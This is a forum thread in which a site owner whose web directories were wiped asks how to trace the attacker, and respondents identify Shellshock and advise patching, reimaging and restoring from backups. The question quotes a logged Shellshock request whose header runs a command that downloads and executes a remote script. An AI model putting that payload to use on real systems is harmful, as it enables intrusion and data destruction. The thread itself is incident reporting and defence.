How to find and punish a hacker?

Question

Information Security

One of my sites is gone. More precisely, the httpdocs and httpsdocs directories turned out to be empty
. Access logs showed that the site began to generate a 404 error after such a request:
89.248.172.175 - - [28/Nov/2014:19:29:57 +0100] "GET /phppath/cgi_wrapper HTTP /1.1" 200 174 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\" ;system(\"cd /tmp;wget -q 82.165.135.9/android.txt;perl android.txt;rm -rf android*\");'"
89.248.172.175 -provider found, email sent to abuse mailbox.
File 82.165.135.9/android.txt - saved
82.165.135.9 - provider notified
What else can I do?

Answer 1

I would also advise:
1) do not call hackers (and even more so scriptkidis) hackers indiscriminately
2) understand that the fault lies with you, and not with him
3) understand why he did it: to show you the vulnerability that you preferred Score

Answer 2

shellshock.
bash needs to be updated, my friend.
And on the ip-shnik, most likely, there lives a home user with a virus who has never heard such words.

Answer 3

1. Take a snapshot of a disk
2. Format all partitions
3. Reinstall OS
4. Restore site from backup
5. fix the hole
6. back to work

Answer 4

1) Complete formatting of the server with reinstalling everything from scratch.
2) Dismiss / fine your crooked admin, who scored on the old vulnerability and server updates.
3) Get a lesson about the banal security of the server and hire a competent specialist to maintain it.
There is no way to find it, most likely all actions were performed through the site of the same lazy krivoruchka, which was hacked to yours, since the IP belongs to the Dutch hosting and not to the Internet provider. It also looks like the vulnerability was exploited by a primitive bot rather than a human, but more data is needed to confirm this for sure.

Answer 5

To the police, if a person is not very encrypted, then find and punish, and if there are a few brains, then all IPs are anonymous and you will not find the ends